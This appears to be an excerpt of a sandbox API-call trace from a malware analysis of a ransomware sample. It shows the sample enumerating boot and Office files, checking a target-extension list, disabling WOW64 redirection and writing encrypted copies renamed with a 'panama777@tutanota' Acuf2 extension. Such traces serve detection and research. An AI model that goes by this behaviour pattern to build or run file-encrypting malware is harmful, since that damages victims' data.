	[0277.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0278.035] GetLastError () returned 0x0
	[0278.035] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x627e, lpOverlapped=0x0) returned 1
	[0278.047] WriteFile (in: hFile=0x33c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x6280, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x6280, lpOverlapped=0x0) returned 1
	[0278.048] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0278.048] WriteFile (in: hFile=0x33c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0278.048] SetEndOfFile (hFile=0x33c) returned 1
	[0278.048] CloseHandle (hObject=0x33c) returned 1
	[0278.048] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0278.048] SetEndOfFile (hFile=0x218) 

Thread:
	id = 102
	os_tid = 0x690

	[0249.030] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3ab0098
	[0249.030] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3ac00a0
	[0249.030] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4ae8
	[0249.030] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x5218b0
	[0249.031] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4b00
	[0249.031] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x3f50020
	[0249.031] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4aa0
	[0249.031] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4aa0, Size=0x20) returned 0x51b180
	[0249.031] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4aa0
	[0249.031] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4aa0, Size=0x20) returned 0x51b1a8
	[0249.031] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0249.031] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0249.031] Wow64DisableWow64FsRedirection (in: OldValue=0x34cff58 | out: OldValue=0x34cff58*=0x0) returned 1
	[0249.031] lstrlenW (lpString="kernel32.dll") returned 12
	[0249.031] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b180 | out: hHeap=0x4a0000) returned 1
	[0249.031] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0249.031] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b1a8 | out: hHeap=0x4a0000) returned 1
	[0249.031] Sleep (dwMilliseconds=0x64) 
	[0249.267] Sleep (dwMilliseconds=0x64) 
	[0249.511] lstrcmpiW (lpString1=".ttf", lpString2=".Acuf2") returned 1
	[0249.511] lstrlenW (lpString="kor_boot.ttf") returned 12
	[0249.511] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0249.571] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=2371360) returned 1
	[0249.571] CloseHandle (hObject=0x298) returned 1
	[0249.571] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20
	[0249.674] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.674] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0249.674] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0249.674] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0249.674] lstrlenW (lpString=".doc") returned 4
	[0249.674] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0249.674] lstrlenW (lpString=".docx") returned 5
	[0249.674] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0249.674] lstrlenW (lpString=".pdf") returned 4
	[0249.674] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0249.674] lstrlenW (lpString=".xls") returned 4
	[0249.674] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0249.674] lstrlenW (lpString=".xlsx") returned 5
	[0249.674] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0249.675] lstrlenW (lpString=".ppt") returned 4
	[0249.675] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0249.675] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0249.675] lstrlenW (lpString=".zip") returned 4
	[0249.675] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0249.675] lstrlenW (lpString=".rar") returned 4
	[0249.675] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0249.675] lstrlenW (lpString=".bz2") returned 4
	[0249.675] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0249.675] lstrlenW (lpString=".7z") returned 3
	[0249.675] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0249.675] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0249.675] lstrlenW (lpString=".dbf") returned 4
	[0249.675] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0249.675] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0249.675] lstrlenW (lpString=".1cd") returned 4
	[0249.675] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0249.675] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0249.675] lstrlenW (lpString=".jpg") returned 4
	[0249.675] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0249.675] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0249.675] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0249.675] lstrlenW (lpString=".doc") returned 4
	[0249.675] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0249.675] lstrlenW (lpString=".docx") returned 5
	[0249.675] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0249.675] lstrlenW (lpString=".pdf") returned 4
	[0249.675] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0249.675] lstrlenW (lpString=".xls") returned 4
	[0249.675] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0249.675] lstrlenW (lpString=".xlsx") returned 5
	[0249.675] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0249.675] lstrlenW (lpString=".ppt") returned 4
	[0249.676] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0249.676] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0249.676] lstrlenW (lpString=".zip") returned 4
	[0249.676] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0249.676] lstrlenW (lpString=".rar") returned 4
	[0249.676] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0249.676] lstrlenW (lpString=".bz2") returned 4
	[0249.676] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0249.676] lstrlenW (lpString=".7z") returned 3
	[0249.676] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0249.676] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0249.676] lstrlenW (lpString=".dbf") returned 4
	[0249.676] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0249.676] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0249.676] lstrlenW (lpString=".1cd") returned 4
	[0249.676] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0249.676] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0249.676] lstrlenW (lpString=".jpg") returned 4
	[0249.676] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0249.676] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0249.676] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0249.677] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.677] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=93248) returned 1
	[0249.677] CloseHandle (hObject=0x2a0) returned 1
	[0249.677] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20
	[0249.677] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.677] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.677] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0249.677] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0249.677] lstrlenW (lpString=".doc") returned 4
	[0249.677] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.677] lstrlenW (lpString=".docx") returned 5
	[0249.677] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.677] lstrlenW (lpString=".pdf") returned 4
	[0249.677] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.677] lstrlenW (lpString=".xls") returned 4
	[0249.677] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.677] lstrlenW (lpString=".xlsx") returned 5
	[0249.677] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.677] lstrlenW (lpString=".ppt") returned 4
	[0249.677] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.677] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0249.677] lstrlenW (lpString=".zip") returned 4
	[0249.677] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.678] lstrlenW (lpString=".rar") returned 4
	[0249.678] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.678] lstrlenW (lpString=".bz2") returned 4
	[0249.678] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.678] lstrlenW (lpString=".7z") returned 3
	[0249.678] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.678] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0249.678] lstrlenW (lpString=".dbf") returned 4
	[0249.678] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.678] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0249.678] lstrlenW (lpString=".1cd") returned 4
	[0249.678] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.678] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0249.678] lstrlenW (lpString=".jpg") returned 4
	[0249.678] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.678] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0249.678] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0249.678] lstrlenW (lpString=".doc") returned 4
	[0249.678] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.678] lstrlenW (lpString=".docx") returned 5
	[0249.678] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.678] lstrlenW (lpString=".pdf") returned 4
	[0249.678] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.678] lstrlenW (lpString=".xls") returned 4
	[0249.678] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.678] lstrlenW (lpString=".xlsx") returned 5
	[0249.678] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.678] lstrlenW (lpString=".ppt") returned 4
	[0249.678] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.678] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0249.678] lstrlenW (lpString=".zip") returned 4
	[0249.678] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.679] lstrlenW (lpString=".rar") returned 4
	[0249.679] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.679] lstrlenW (lpString=".bz2") returned 4
	[0249.679] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.679] lstrlenW (lpString=".7z") returned 3
	[0249.679] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.679] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0249.679] lstrlenW (lpString=".dbf") returned 4
	[0249.679] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.679] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0249.679] lstrlenW (lpString=".1cd") returned 4
	[0249.679] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.679] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0249.679] lstrlenW (lpString=".jpg") returned 4
	[0249.679] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.679] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0249.679] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0249.679] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.679] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=90688) returned 1
	[0249.679] CloseHandle (hObject=0x2a0) returned 1
	[0249.679] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20
	[0249.680] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.680] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.680] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0249.680] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0249.680] lstrlenW (lpString=".doc") returned 4
	[0249.680] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.680] lstrlenW (lpString=".docx") returned 5
	[0249.680] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.680] lstrlenW (lpString=".pdf") returned 4
	[0249.680] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.680] lstrlenW (lpString=".xls") returned 4
	[0249.680] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.680] lstrlenW (lpString=".xlsx") returned 5
	[0249.680] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.680] lstrlenW (lpString=".ppt") returned 4
	[0249.680] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.680] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0249.680] lstrlenW (lpString=".zip") returned 4
	[0249.680] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.680] lstrlenW (lpString=".rar") returned 4
	[0249.680] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.680] lstrlenW (lpString=".bz2") returned 4
	[0249.680] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.680] lstrlenW (lpString=".7z") returned 3
	[0249.680] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.680] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0249.680] lstrlenW (lpString=".dbf") returned 4
	[0249.680] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.680] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0249.680] lstrlenW (lpString=".1cd") returned 4
	[0249.680] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.681] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0249.681] lstrlenW (lpString=".jpg") returned 4
	[0249.681] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.681] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0249.681] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0249.681] lstrlenW (lpString=".doc") returned 4
	[0249.681] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.681] lstrlenW (lpString=".docx") returned 5
	[0249.681] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.681] lstrlenW (lpString=".pdf") returned 4
	[0249.681] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.681] lstrlenW (lpString=".xls") returned 4
	[0249.681] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.681] lstrlenW (lpString=".xlsx") returned 5
	[0249.681] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.681] lstrlenW (lpString=".ppt") returned 4
	[0249.681] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.681] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0249.681] lstrlenW (lpString=".zip") returned 4
	[0249.681] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.681] lstrlenW (lpString=".rar") returned 4
	[0249.681] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.681] lstrlenW (lpString=".bz2") returned 4
	[0249.681] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.681] lstrlenW (lpString=".7z") returned 3
	[0249.681] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.681] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0249.681] lstrlenW (lpString=".dbf") returned 4
	[0249.681] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.681] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0249.681] lstrlenW (lpString=".1cd") returned 4
	[0249.681] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.682] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0249.682] lstrlenW (lpString=".jpg") returned 4
	[0249.682] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.682] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0249.682] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0249.682] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.682] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=90704) returned 1
	[0249.682] CloseHandle (hObject=0x2a0) returned 1
	[0249.682] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20
	[0249.682] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.682] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.682] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0249.682] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0249.682] lstrlenW (lpString=".doc") returned 4
	[0249.682] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.682] lstrlenW (lpString=".docx") returned 5
	[0249.682] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.682] lstrlenW (lpString=".pdf") returned 4
	[0249.682] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.682] lstrlenW (lpString=".xls") returned 4
	[0249.682] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.683] lstrlenW (lpString=".xlsx") returned 5
	[0249.683] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.683] lstrlenW (lpString=".ppt") returned 4
	[0249.683] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.683] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0249.683] lstrlenW (lpString=".zip") returned 4
	[0249.683] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.683] lstrlenW (lpString=".rar") returned 4
	[0249.683] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.683] lstrlenW (lpString=".bz2") returned 4
	[0249.683] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.683] lstrlenW (lpString=".7z") returned 3
	[0249.683] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.683] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0249.683] lstrlenW (lpString=".dbf") returned 4
	[0249.683] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.683] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0249.683] lstrlenW (lpString=".1cd") returned 4
	[0249.683] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.683] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0249.683] lstrlenW (lpString=".jpg") returned 4
	[0249.683] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.683] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0249.683] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0249.683] lstrlenW (lpString=".doc") returned 4
	[0249.683] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.683] lstrlenW (lpString=".docx") returned 5
	[0249.683] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.683] lstrlenW (lpString=".pdf") returned 4
	[0249.683] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.683] lstrlenW (lpString=".xls") returned 4
	[0249.683] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.684] lstrlenW (lpString=".xlsx") returned 5
	[0249.684] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.684] lstrlenW (lpString=".ppt") returned 4
	[0249.684] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.684] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0249.684] lstrlenW (lpString=".zip") returned 4
	[0249.684] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.684] lstrlenW (lpString=".rar") returned 4
	[0249.684] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.684] lstrlenW (lpString=".bz2") returned 4
	[0249.684] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.684] lstrlenW (lpString=".7z") returned 3
	[0249.684] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.684] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0249.684] lstrlenW (lpString=".dbf") returned 4
	[0249.684] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.684] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0249.684] lstrlenW (lpString=".1cd") returned 4
	[0249.684] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.684] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0249.684] lstrlenW (lpString=".jpg") returned 4
	[0249.684] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.684] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0249.684] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0249.684] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.685] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=76352) returned 1
	[0249.685] CloseHandle (hObject=0x2a0) returned 1
